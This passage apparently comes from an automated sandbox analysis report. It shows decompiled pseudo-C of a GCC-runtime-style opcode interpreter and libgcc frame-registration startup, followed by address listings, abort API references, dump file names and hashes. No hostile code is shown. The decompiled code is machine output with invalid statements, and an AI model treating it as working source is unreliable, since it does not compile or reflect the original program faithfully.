											__esi = __esi & 0x00000040;
											__eflags = __esi;
											if(__esi != 0) {
												1 = 1 << __cl;
												__edx =  ~(1 << __cl);
												__ebp = __ebp |  ~(1 << __cl);
											}
										}
										__eax = __eax - 0x70;
										__eflags = __eax - 0x11;
										if(__eax > 0x11) {
											goto L130;
										} else {
											__esi = _a28;
											__edx =  *(__eax + 0x6073f4) & 0x000000ff;
											__edi =  *(__esi + __eax * 4);
											__eflags =  *(__esi + 0x63) & 0x00000040;
											if(( *(__esi + 0x63) & 0x00000040) == 0) {
												L47:
												__eflags = __dl - 4;
												if(__dl != 4) {
													goto L130;
												} else {
													__edi =  *__edi;
													goto L49;
												}
											} else {
												__eflags =  *((char*)(__esi + __eax + 0x6c));
												if( *((char*)(__esi + __eax + 0x6c)) != 0) {
													L49:
													__edi = __edi + __ebp;
													__esi = __ebx;
													__ebp = _a20;
													goto L10;
												} else {
													goto L47;
												}
											}
										}
										goto L143;
									case 0x16:
										__esi = 0;
										__ecx = 0;
										__eflags = 0;
										do {
											__ebx = __ebx + 1;
											__edx =  *(__ebx - 1) & 0x000000ff;
											 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
											__eax = ( *(__ebx - 1) & 0x7f) << __cl;
											__ecx = __ecx + 7;
											__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
											__eflags = __dl;
										} while (__dl < 0);
										__eflags = __esi - 0x11;
										if(__esi > 0x11) {
											goto L130;
										} else {
											__ecx = _a28;
											__eax =  *(__esi + 0x6073f4) & 0x000000ff;
											__edi =  *(__ecx + __esi * 4);
											__eflags =  *(__ecx + 0x63) & 0x00000040;
											if(( *(__ecx + 0x63) & 0x00000040) == 0) {
												L38:
												__eflags = __al - 4;
												if(__al != 4) {
													goto L130;
												} else {
													L39:
													__edi =  *__edi;
													__ebp = _a20;
													__esi = __ebx;
													goto L10;
												}
											} else {
												__eflags =  *((char*)(__ecx + __esi + 0x6c));
												if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
													L95:
													__ebp = _a20;
													__esi = __ebx;
													goto L10;
												} else {
													goto L38;
												}
											}
										}
										goto L143;
									case 0x17:
										__esi = 0;
										__ecx = 0;
										__eflags = 0;
										do {
											__ebx = __ebx + 1;
											__edx =  *(__ebx - 1) & 0x000000ff;
											 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
											__eax = ( *(__ebx - 1) & 0x7f) << __cl;
											__ecx = __ecx + 7;
											__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
											__eflags = __dl;
										} while (__dl < 0);
										__edi = 0;
										__ecx = 0;
										__eflags = 0;
										do {
											__ebx = __ebx + 1;
											__eax =  *(__ebx - 1) & 0x000000ff;
											 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
											__edx = ( *(__ebx - 1) & 0x7f) << __cl;
											__ecx = __ecx + 7;
											__edi = __edi | ( *(__ebx - 1) & 0x7f) << __cl;
											__eflags = __al;
										} while (__al < 0);
										__eflags = __ecx - 0x1f;
										if(__ecx <= 0x1f) {
											__eflags = __al & 0x00000040;
											if((__al & 0x00000040) != 0) {
												1 = 1 << __cl;
												__eax =  ~(1 << __cl);
												__edi = __edi |  ~(1 << __cl);
											}
										}
										__eflags = __esi - 0x11;
										if(__esi > 0x11) {
											goto L130;
										} else {
											__ecx = _a28;
											__edx =  *(__esi + 0x6073f4) & 0x000000ff;
											__eax =  *(__ecx + __esi * 4);
											__eflags =  *(__ecx + 0x63) & 0x00000040;
											if(( *(__ecx + 0x63) & 0x00000040) == 0) {
												L80:
												__eflags = __dl - 4;
												if(__dl != 4) {
													goto L130;
												} else {
													__eax =  *__eax;
													goto L82;
												}
											} else {
												__eflags =  *((char*)(__ecx + __esi + 0x6c));
												if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
													L82:
													__edi = __edi + __eax;
													__ebp = _a20;
													__esi = __ebx;
													goto L10;
												} else {
													goto L80;
												}
											}
										}
										goto L143;
									case 0x18:
										__esi = __ebx;
										goto L12;
									case 0x19:
										__ebx =  *(__esi + 1) & 0x000000ff;
										__edx = _a28;
										__edi =  &_a44;
										__eax = __ebx;
										__eax = L00420C00(__ebx, __ecx, _a28);
										 *__esp =  &_a44;
										__ecx = __esi + 2;
										__edx = __eax;
										__eax = __ebx;
										__eax = E00420AC0(__ebx, __esi + 2, __edx);
										__edi = _a44;
										__ebp = _a20;
										__esi = __eax;
										goto L10;
									case 0x1a:
										L112:
										__edi = __edi & __ecx;
										__esi = __ebx;
										goto L10;
									case 0x1b:
										L113:
										__eax = __edi;
										__esi = __ebx;
										asm("cdq");
										_t169 = __eax % __ecx;
										__eax = __eax / __ecx;
										__edx = _t169;
										__edi = __eax;
										goto L10;
									case 0x1c:
										L114:
										__edi = __edi - __ecx;
										__esi = __ebx;
										goto L10;
									case 0x1d:
										L115:
										__eax = __edi;
										__edx = 0;
										__esi = __ebx;
										_t173 = __eax % __ecx;
										__eax = __eax / __ecx;
										__edx = _t173;
										__edi = _t173;
										goto L10;
									case 0x1e:
										L116:
										__edi = __edi * __ecx;
										__esi = __ebx;
										goto L10;
									case 0x1f:
										L117:
										__edi = __edi | __ecx;
										__esi = __ebx;
										goto L10;
									case 0x20:
										L118:
										__edi = __edi + __ecx;
										__esi = __ebx;
										goto L10;
									case 0x21:
										L119:
										__edi = __edi << __cl;
										__esi = __ebx;
										goto L10;
									case 0x22:
										L120:
										__edi = __edi >> __cl;
										__esi = __ebx;
										goto L10;
									case 0x23:
										L121:
										__edi = __edi >> __cl;
										__esi = __ebx;
										goto L10;
									case 0x24:
										L122:
										__edi = __edi ^ __ecx;
										__esi = __ebx;
										goto L10;
									case 0x25:
										L123:
										__eax = 0;
										__eflags = __edi - __ecx;
										__esi = __ebx;
										__eax = 0 | __eflags == 0x00000000;
										__edi = __eflags == 0;
										goto L10;
									case 0x26:
										L124:
										__eax = 0;
										__eflags = __edi - __ecx;
										__esi = __ebx;
										__eax = 0 | __eflags >= 0x00000000;
										__edi = __eflags >= 0;
										goto L10;
									case 0x27:
										L125:
										__eax = 0;
										__eflags = __edi - __ecx;
										__esi = __ebx;
										__eax = 0 | __eflags > 0x00000000;
										__edi = __eflags > 0;
										goto L10;
									case 0x28:
										L126:
										__eax = 0;
										__eflags = __edi - __ecx;
										__esi = __ebx;
										__eax = 0 | __eflags <= 0x00000000;
										__edi = __eflags <= 0;
										goto L10;
									case 0x29:
										L127:
										__eax = 0;
										__eflags = __edi - __ecx;
										__esi = __ebx;
										__eax = 0 | __eflags < 0x00000000;
										__edi = __eflags < 0;
										goto L10;
									case 0x2a:
										L128:
										__eax = 0;
										__eflags = __edi - __ecx;
										__esi = __ebx;
										__eax = 0 | __eflags != 0x00000000;
										__edi = __eflags != 0;
										goto L10;
								}
							}
							L143:
						}
						__eax = _a20;
						if(__eax == 0) {
							goto L130;
						} else {
							__eax =  *(__esp + 0x2c + __eax * 4);
							__esp = __esp + 0x13c;
							_pop(__esi);
							_pop(__edi);
							_pop(__ebp);
							return __eax;
						}
						goto L143;
					}
					break;
				}
				L130:
				abort();
				L0042F4C0();
				abort();
				abort();
				abort();
				L0042F4C0();
				L0042F4C0();
				abort();
				abort();
				abort();
				abort();
				abort();
				abort();
				abort();
				_push(_t200);
				_t207 = _t206 - 0x1c;
				 *_t207 = "libgcc_s_dw2-1.dll";
				_t188 = GetModuleHandleA(_t194);
				_t208 = _t207 - 4;
				if(_t188 == 0) {
					 *0x4b6004 = 0x424590;
					_t201 = E00424340;
				} else {
					_t196 = _t188;
					 *_t208 = "libgcc_s_dw2-1.dll";
					_t191 = LoadLibraryA(??);
					_t210 = _t208 - 4;
					 *0x607df0 = _t191;
					_v40 = "__register_frame_info";
					 *_t210 = _t196;
					_t192 = GetProcAddress(??, ??);
					_t211 = _t210 - 8;
					_t201 = _t192;
					_v40 = "__deregister_frame_info";
					 *_t211 = _t196;
					 *0x4b6004 = GetProcAddress(??, ??);
					_t208 = _t211 - 8;
				}
				if(_t201 != 0) {
					_v40 = 0x60701c;
					 *_t208 = 0x5ca0f8;
					 *_t201();
				}
				 *_t208 = 0x401590;
				return E004014C0();
				goto L143;
			}

0x00421d49
0x00421d50
0x00421d50
0x00421d50
0x00421d54
0x00421d58
0x00421d5b
0x00421d60
0x00000000
0x00000000
0x00421d66
0x00421d68
0x00421d6a
0x00421b20
0x00421b20
0x00421b23
0x00000000
0x00000000
0x00421b29
0x00421b2c
0x00421b30
0x00421b34
0x00421b34
0x00421b38
0x00000000
0x00000000
0x00421af0
0x00421af6
0x00421af9
0x00421afe
0x00421fb9
0x00421fb9
0x00000000
0x00421b04
0x00421b04
0x00421b07
0x00000000
0x00421b10
0x00421b14
0x00421b17
0x00421b17
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ba0
0x00421ba4
0x00421ba6
0x00000000
0x00421bac
0x00421bac
0x00421bae
0x00421bb1
0x00421bb5
0x00421bb8
0x00422059
0x0042205b
0x00421bbe
0x00421bbe
0x00421fc0
0x00421fc0
0x00421fc3
0x00421fd0
0x00421fd3
0x00000000
0x00421fd5
0x00421fd5
0x00421fd7
0x00421fd9
0x00421fdc
0x00421fde
0x00421fde
0x00421fc5
0x00421fc5
0x00421fc7
0x00421fc7
0x00421bc4
0x00421bc4
0x00421bc7
0x00421ff0
0x00421ff2
0x00421ff2
0x00421ff4
0x00421ff4
0x00421ff7
0x00421ffd
0x00422000
0x00422002
0x00422005
0x00422007
0x00422007
0x0042200b
0x0042200d
0x00421bcd
0x00421bcd
0x00421bd0
0x00421fb0
0x00421fb3
0x00422050
0x00422052
0x00000000
0x00000000
0x00000000
0x00421bd6
0x00421bd6
0x00421bda
0x00421bdd
0x00421bdf
0x00422131
0x00422134
0x00421be5
0x00421be5
0x00422034
0x00422036
0x00000000
0x0042203c
0x0042203c
0x0042203f
0x0042203f
0x00421beb
0x00421beb
0x00421bed
0x00421bf7
0x00421bf7
0x00421bf9
0x00421bef
0x00421bef
0x00421bf1
0x00000000
0x00000000
0x00000000
0x00000000
0x00421bf1
0x00421bed
0x00421be5
0x00421bdf
0x00421bd0
0x00421bc7
0x00421bbe
0x00000000
0x00421bb8
0x00000000
0x00000000
0x00421b90
0x00421b94
0x00421b98
0x00000000
0x00000000
0x00421b80
0x00421b84
0x00421b88
0x00000000
0x00000000
0x00421b72
0x00421b76
0x00421b7a
0x00000000
0x00000000
0x00421b65
0x00421b69
0x00421b6d
0x00000000
0x00000000
0x00421b55
0x00421b58
0x00421b5c
0x00000000
0x00000000
0x00421e13
0x00421e15
0x00421e17
0x00421e17
0x00421e20
0x00421e20
0x00421e23
0x00421e29
0x00421e2c
0x00421e2e
0x00421e31
0x00421e33
0x00421e33
0x00421e37
0x00000000
0x00000000
0x00421dd0
0x00421dd2
0x00421dd2
0x00421dd4
0x00421dd4
0x00421dd7
0x00421ddd
0x00421de0
0x00421de2
0x00421de5
0x00421de7
0x00421de7
0x00421deb
0x00421dee
0x00000000
0x00421df4
0x00421df4
0x00421df4
0x00421df7
0x00000000
0x00421dfd
0x00421dfd
0x00421e02
0x00421e06
0x00421e0a
0x00421e0c
0x00421e0c
0x00421df7
0x00000000
0x00000000
0x00421db0
0x00421db4
0x00421db6
0x00000000
0x00421dbc
0x00421dbc
0x00421dc0
0x00000000
0x00421dc0
0x00000000
0x00000000
0x00421d90
0x00421d94
0x00421d96
0x00000000
0x00421d9c
0x00421d9c
0x00421d9f
0x00421da1
0x00000000
0x00421da1
0x00000000
0x00000000
0x00421d73
0x00421d77
0x00421d7a
0x00000000
0x00421d80
0x00421d80
0x00421d84
0x00000000
0x00421d84
0x00000000
0x00000000
0x00000000
0x00000000
0x00421f45
0x00421f49
0x00421f4c
0x00000000
0x00421f52
0x00421f52
0x00421f55
0x00421f58
0x00421f5c
0x00421f60
0x00421f64
0x00421f66
0x00000000
0x00421f66
0x00000000
0x00000000
0x00421f10
0x00421f14
0x00421f17
0x00000000
0x00421f1d
0x00421f1d
0x00421f20
0x00421f23
0x00421f26
0x00421f2a
0x00421f2e
0x00421f32
0x00421f36
0x00421f3a
0x00421f3e
0x00000000
0x00421f3e
0x00000000
0x00000000
0x00421f70
0x00421f74
0x00421f77
0x00000000
0x00421f7d
0x00421f7d
0x00421f80
0x00421f83
0x00421f87
0x00421f8b
0x00421f8e
0x00000000
0x00421f90
0x00421f90
0x00421f93
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00421f93
0x00000000
0x00421f8e
0x00000000
0x00000000
0x00421ec0
0x00421ec4
0x00421ec6
0x00000000
0x00421ecc
0x00421ecc
0x00421ecf
0x00421ed1
0x00421ed5
0x00421ed8
0x00421edc
0x00421ede
0x00421fe5
0x00421ee4
0x00421ee4
0x00421ee8
0x00421ee8
0x00000000
0x00421ede
0x00000000
0x00000000
0x00421f00
0x00421f04
0x00000000
0x00000000
0x00421ef0
0x00421ef3
0x00421ef7
0x00000000
0x00000000
0x00421d10
0x00421d13
0x00421d16
0x00000000
0x00421d1c
0x00421d1c
0x00421d20
0x00421d27
0x00421d2a
0x00421d2e
0x00421d3b
0x00421d3b
0x00421d3e
0x00000000
0x00421d44
0x00000000
0x00421d44
0x00421d30
0x00421d30
0x00421d35
0x00000000
0x00000000
0x00000000
0x00000000
0x00421d35
0x00421d2e
0x00000000
0x00000000
0x00421c90
0x00421c92
0x00421c92
0x00421c94
0x00421ca0
0x00421ca0
0x00421ca3
0x00421ca9
0x00421cac
0x00421cae
0x00421cb1
0x00421cb3
0x00421cb3
0x00421cb7
0x00421cb9
0x00421cbb
0x00421cbd
0x00421cc0
0x00421cc2
0x00421cc2
0x00421cc5
0x00422029
0x0042202b
0x0042202d
0x0042202d
0x00421cc5
0x00421ccb
0x00421cce
0x00421cd1
0x00000000
0x00421cd7
0x00421cd7
0x00421cdb
0x00421ce2
0x00421ce5
0x00421ce9
0x00421cf2
0x00421cf2
0x00421cf5
0x00000000
0x00421cfb
0x00421cfb
0x00000000
0x00421cfb
0x00421ceb
0x00421ceb
0x00421cf0
0x00421cfd
0x00421cfd
0x00421cff
0x00421d01
0x00000000
0x00000000
0x00000000
0x00000000
0x00421cf0
0x00421ce9
0x00000000
0x00000000
0x00421c31
0x00421c33
0x00421c33
0x00421c35
0x00421c35
0x00421c38
0x00421c3e
0x00421c41
0x00421c43
0x00421c46
0x00421c48
0x00421c48
0x00421c4c
0x00421c4f
0x00000000
0x00421c55
0x00421c55
0x00421c59
0x00421c60
0x00421c63
0x00421c67
0x00421c74
0x00421c74
0x00421c76
0x00000000
0x00421c7c
0x00421c7c
0x00421c7c
0x00421c7e
0x00421c82
0x00000000
0x00421c82
0x00421c69
0x00421c69
0x00421c6e
0x00421fa0
0x00421fa0
0x00421fa4
0x00000000
0x00000000
0x00000000
0x00000000
0x00421c6e
0x00421c67
0x00000000
0x00000000
0x00421e40
0x00421e42
0x00421e42
0x00421e44
0x00421e44
0x00421e47
0x00421e4d
0x00421e50
0x00421e52
0x00421e55
0x00421e57
0x00421e57
0x00421e5b
0x00421e5d
0x00421e5d
0x00421e60
0x00421e60
0x00421e63
0x00421e69
0x00421e6c
0x00421e6e
0x00421e71
0x00421e73
0x00421e73
0x00421e77
0x00421e7a
0x00421e7c
0x00421e7e
0x00422019
0x0042201b
0x0042201d
0x0042201d
0x00421e7e
0x00421e84
0x00421e87
0x00000000
0x00421e8d
0x00421e8d
0x00421e91
0x00421e98
0x00421e9b
0x00421e9f
0x00421ea8
0x00421ea8
0x00421eab
0x00000000
0x00421eb1
0x00421eb1
0x00000000
0x00421eb1
0x00421ea1
0x00421ea1
0x00421ea6
0x00421eb3
0x00421eb3
0x00421eb5
0x00421eb9
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ea6
0x00421e9f
0x00000000
0x00000000
0x00421b61
0x00000000
0x00000000
0x00421c00
0x00421c04
0x00421c08
0x00421c0c
0x00421c0e
0x00421c13
0x00421c16
0x00421c19
0x00421c1b
0x00421c1d
0x00421c22
0x00421c26
0x00421c2a
0x00000000
0x00000000
0x00422062
0x00422062
0x00422064
0x00000000
0x00000000
0x0042206b
0x0042206b
0x0042206d
0x0042206f
0x00422070
0x00422070
0x00422070
0x00422072
0x00000000
0x00000000
0x00422079
0x00422079
0x0042207b
0x00000000
0x00000000
0x00422082
0x00422082
0x00422084
0x00422086
0x00422088
0x00422088
0x00422088
0x0042208a
0x00000000
0x00000000
0x00422091
0x00422091
0x00422094
0x00000000
0x00000000
0x0042209b
0x0042209b
0x0042209d
0x00000000
0x00000000
0x004220a4
0x004220a4
0x004220a6
0x00000000
0x00000000
0x004220ad
0x004220ad
0x004220af
0x00000000
0x00000000
0x004220b6
0x004220b6
0x004220b8
0x00000000
0x00000000
0x004220bf
0x004220bf
0x004220c1
0x00000000
0x00000000
0x004220c8
0x004220c8
0x004220ca
0x00000000
0x00000000
0x004220d1
0x004220d1
0x004220d3
0x004220d5
0x004220d7
0x004220da
0x00000000
0x00000000
0x004220e1
0x004220e1
0x004220e3
0x004220e5
0x004220e7
0x004220ea
0x00000000
0x00000000
0x004220f1
0x004220f1
0x004220f3
0x004220f5
0x004220f7
0x004220fa
0x00000000
0x00000000
0x00422101
0x00422101
0x00422103
0x00422105
0x00422107
0x0042210a
0x00000000
0x00000000
0x00422111
0x00422111
0x00422113
0x00422115
0x00422117
0x0042211a
0x00000000
0x00000000
0x00422121
0x00422121
0x00422123
0x00422125
0x00422127
0x0042212a
0x00000000
0x00000000
0x00421b07
0x00000000
0x00421afe
0x00421b3a
0x00421b40
0x00000000
0x00421b46
0x00421b46
0x00421b4a
0x00421b51
0x00421b52
0x00421b53
0x00421b54
0x00421b54
0x00000000
0x00421b40
0x00000000
0x00421b20
0x004ae616
0x004ae616
0x004ae61b
0x004ae620
0x004ae625
0x004ae62a
0x004ae62f
0x004ae634
0x004ae639
0x004ae63e
0x004ae643
0x004ae648
0x004ae650
0x004ae655
0x004ae65a
0x004014e4
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x00000000

APIs

abort.MSVCRT ref: 004AE616
abort.MSVCRT ref: 004AE61B
abort.MSVCRT ref: 004AE620
abort.MSVCRT(00422CFB), ref: 004AE625
abort.MSVCRT(00422CFB), ref: 004AE62A
abort.MSVCRT(00422CFB), ref: 004AE62F
abort.MSVCRT(00422CFB), ref: 004AE634
abort.MSVCRT(00422CFB), ref: 004AE639
abort.MSVCRT(00422CFB), ref: 004AE63E
abort.MSVCRT(00422CFB), ref: 004AE643
abort.MSVCRT(00422CFB), ref: 004AE648
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE650
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE655
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE65A

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 98b5d5977860fd092ef47f7eb73004897ce48a1e3ac3e38f2da148c8a0a3e884
Instruction ID: 693ab7e539b2feecf6208d6e2aa59a382c62f8815e2ecea0ac29eb1fe6f5bc0b
Opcode Fuzzy Hash: 98b5d5977860fd092ef47f7eb73004897ce48a1e3ac3e38f2da148c8a0a3e884
Instruction Fuzzy Hash: 42E0263060962282C714BE6AA04012FB3F05F2130CFD22D3FE06DE3002F668BA0A461A

Uniqueness

Uniqueness Score: -1.00%

Function 00421F45 Relevance: 21.0, APIs: 14, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E00421F45(CHAR* __ebx, char _a1, signed int _a20, intOrPtr _a24, signed int _a28, signed int _a44) {
				char _v1;
				void* _v16;
				char* _v40;
				struct HINSTANCE__* _t189;
				struct HINSTANCE__* _t192;
				_Unknown_base(*)()* _t193;
				CHAR* _t195;
				struct HINSTANCE__* _t197;
				_Unknown_base(*)()* _t202;
				void* _t207;
				char** _t208;
				char** _t209;
				struct HINSTANCE__** _t211;
				struct HINSTANCE__** _t212;

				L0:
				while(1) {
					L0:
					_t195 = __ebx;
					if(_a20 <= 1) {
						break;
					}
					L90:
					__edx = __eax - 1;
					__eax = __eax - 2;
					__esi =  *(__esp + 0x30 + __eax * 4);
					__ecx =  *(__esp + 0x30 + __edx * 4);
					 *(__esp + 0x30 + __edx * 4) =  *(__esp + 0x30 + __eax * 4);
					__esi = __ebx;
					 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __edx * 4);
					while(1) {
						L12:
						if(_a24 <= __esi) {
							break;
						}
						L7:
						__eax =  *__esi & 0x000000ff;
						__ebx = __esi + 1;
						__ecx = __eax - 3;
						__edx = __eax;
						if(__cl > 0xee) {
							L96:
							abort();
							goto L97;
						} else {
							L8:
							__ecx = __cl & 0x000000ff;
							switch( *((intOrPtr*)(__ecx * 4 +  &M005C3C10))) {
								case 0:
									L9:
									__ebp = _a20;
									__edi =  *(__esi + 1);
									__esi = __esi + 5;
									__eflags = __esi;
									goto L10;
								case 1:
									goto L96;
								case 2:
									L22:
									__eax = _a20;
									__eflags = __eax;
									if(__eax == 0) {
										goto L129;
									} else {
										L23:
										__ebp = __eax;
										__ebp =  &_v1;
										__edi =  *(__esp + 0x30 + __ebp * 4);
										__eflags = __dl - 0x1f;
										if(__eflags == 0) {
											L110:
											__edi =  ~__edi;
											__esi = __ebx;
										} else {
											L24:
											if(__eflags <= 0) {
												L97:
												__eflags = __dl - 6;
												if(__dl != 6) {
													L99:
													__eflags = __dl - 0x19;
													if(__dl != 0x19) {
														goto L96;
													} else {
														L100:
														__eax = __edi;
														__esi = __ebx;
														__eax = __edi >> 0x1f;
														__edi = __edi ^ __eax;
														__edi = __edi - __eax;
													}
												} else {
													L98:
													__edi =  *__edi;
													__esi = __ebx;
												}
											} else {
												L25:
												__eflags = __dl - 0x23;
												if(__dl == 0x23) {
													L102:
													__esi = 0;
													__ecx = 0;
													__eflags = 0;
													do {
														L103:
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
														__eflags = __dl;
													} while (__dl < 0);
													__edi = __edi + __esi;
													__esi = __ebx;
												} else {
													L26:
													__eflags = __dl - 0x94;
													if(__dl != 0x94) {
														L95:
														__eflags = __dl - 0x20;
														if(__dl == 0x20) {
															L109:
															__edi =  !__edi;
															__esi = __ebx;
														} else {
															goto L96;
														}
													} else {
														L27:
														__eax =  *(__esi + 1) & 0x000000ff;
														__edx = __esi + 2;
														__eflags = __al - 2;
														if(__eflags == 0) {
															L128:
															__edi =  *__edi & 0x0000ffff;
															__esi = __edx;
														} else {
															L28:
															if(__eflags <= 0) {
																L107:
																__eflags = __al - 1;
																if(__al != 1) {
																	goto L96;
																} else {
																	L108:
																	__edi =  *__edi & 0x000000ff;
																	__esi = __edx;
																}
															} else {
																L29:
																__eflags = __al - 4;
																if(__al == 4) {
																	L31:
																	__edi =  *__edi;
																	__esi = __edx;
																} else {
																	L30:
																	__eflags = __al - 8;
																	if(__al != 8) {
																		goto L96;
																	} else {
																		goto L31;
																	}
																}
															}
														}
													}
												}
											}
										}
										goto L10;
									}
									goto L142;
								case 3:
									L21:
									__edi =  *(__esi + 1) & 0x000000ff;
									__ebp = _a20;
									__esi = __esi + 2;
									goto L10;
								case 4:
									L20:
									__edi =  *(__esi + 1);
									__ebp = _a20;
									__esi = __esi + 2;
									goto L10;
								case 5:
									L19:
									__edi =  *(__esi + 1) & 0x0000ffff;
									__ebp = _a20;
									__esi = __esi + 3;
									goto L10;
								case 6:
									L18:
									__edi =  *(__esi + 1);
									__ebp = _a20;
									__esi = __esi + 3;
									goto L10;
								case 7:
									L16:
									__edi =  *(__esi + 1);
									__ebp = _a20;
									__esi = __esi + 9;
									goto L10;
								case 8:
									L68:
									__esi = __ebx;
									__edi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L69:
										__esi = __esi + 1;
										__edx =  *(__esi - 1) & 0x000000ff;
										 *(__esi - 1) & 0x000000ff =  *(__esi - 1) & 0x7f;
										__eax = ( *(__esi - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__edi = __edi | ( *(__esi - 1) & 0x7f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__ebp = _a20;
									goto L10;
								case 9:
									L63:
									__edi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L64:
										__ebx = __ebx + 1;
										__edx =  *(__ebx - 1) & 0x000000ff;
										__edx = __edx & 0x0000007f;
										__eax = (__edx & 0x0000007f) << __cl;
										__ecx = __ecx + 7;
										__edi = __edi | (__edx & 0x0000007f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__eflags = __ecx - 0x1f;
									if(__ecx > 0x1f) {
										goto L94;
									} else {
										L66:
										__edx = __edx & 0x00000040;
										__eflags = __edx;
										if(__edx == 0) {
											goto L94;
										} else {
											L67:
											__eax = 1;
											__ebp = _a20;
											__esi = __ebx;
											1 << __cl =  ~(1 << __cl);
											__edi = __edi |  ~(1 << __cl);
										}
									}
									goto L10;
								case 0xa:
									L61:
									__ebp = _a20;
									__eflags = __ebp;
									if(__ebp == 0) {
										goto L129;
									} else {
										L62:
										__edi =  *(__esp + 0x2c + __ebp * 4);
										__esi = __ebx;
										goto L10;
									}
									goto L142;
								case 0xb:
									L59:
									__eax = _a20;
									__eflags = __eax;
									if(__eax == 0) {
										goto L129;
									} else {
										L60:
										__eax = __eax - 1;
										__esi = __ebx;
										_a20 = __eax;
										goto L12;
									}
									goto L142;
								case 0xc:
									L57:
									__ebp = _a20;
									__eflags = __ebp - 1;
									if(__ebp <= 1) {
										goto L129;
									} else {
										L58:
										__edi =  *(__esp + 0x28 + __ebp * 4);
										__esi = __ebx;
										goto L10;
									}
									goto L142;
								case 0xd:
									L55:
									__ebp = _a20;
									__ecx =  *(__esi + 1) & 0x000000ff;
									__edx = __esi + 2;
									__eax =  &_v1;
									__eflags = __ecx - __eax;
									if(__ecx >= __eax) {
										goto L129;
									} else {
										L56:
										__eax = __eax - __ecx;
										__esi = __edx;
										__edi =  *(__esp + 0x30 + __eax * 4);
										goto L10;
									}
									goto L142;
								case 0xe:
									goto L0;
								case 0xf:
									L88:
									__eax = _a20;
									__eflags = __eax - 2;
									if(__eax <= 2) {
										goto L129;
									} else {
										L89:
										__ecx = __eax - 1;
										__edx = __eax - 2;
										__eax = __eax - 3;
										__esi =  *(__esp + 0x30 + __ecx * 4);
										__ebp =  *(__esp + 0x30 + __edx * 4);
										__edi =  *(__esp + 0x30 + __eax * 4);
										 *(__esp + 0x30 + __ecx * 4) = __ebp;
										 *(__esp + 0x30 + __edx * 4) = __edi;
										 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __ecx * 4);
										__esi = __ebx;
										goto L12;
									}
									goto L142;
								case 0x10:
									L91:
									__eax = _a20;
									__eflags = __eax - 1;
									if(__eax <= 1) {
										goto L129;
									} else {
										L92:
										__ebp = __eax - 2;
										__edx = __edx - 0x1a;
										__ecx =  *(__esp + 0x2c + __eax * 4);
										__edi =  *(__esp + 0x30 + __ebp * 4);
										__eflags = __dl - 0x14;
										if(__dl > 0x14) {
											goto L96;
										} else {
											L93:
											__edx = __dl & 0x000000ff;
											switch( *((intOrPtr*)((__dl & 0x000000ff) * 4 +  &M005C3FCC))) {
												case 0:
													goto L111;
												case 1:
													goto L112;
												case 2:
													goto L113;
												case 3:
													goto L114;
												case 4:
													goto L115;
												case 5:
													goto L96;
												case 6:
													goto L116;
												case 7:
													goto L117;
												case 8:
													goto L118;
												case 9:
													goto L119;
												case 0xa:
													goto L120;
												case 0xb:
													goto L121;
												case 0xc:
													goto L122;
												case 0xd:
													goto L123;
												case 0xe:
													goto L124;
												case 0xf:
													goto L125;
												case 0x10:
													goto L126;
												case 0x11:
													goto L127;
											}
										}
										goto L10;
									}
									goto L142;
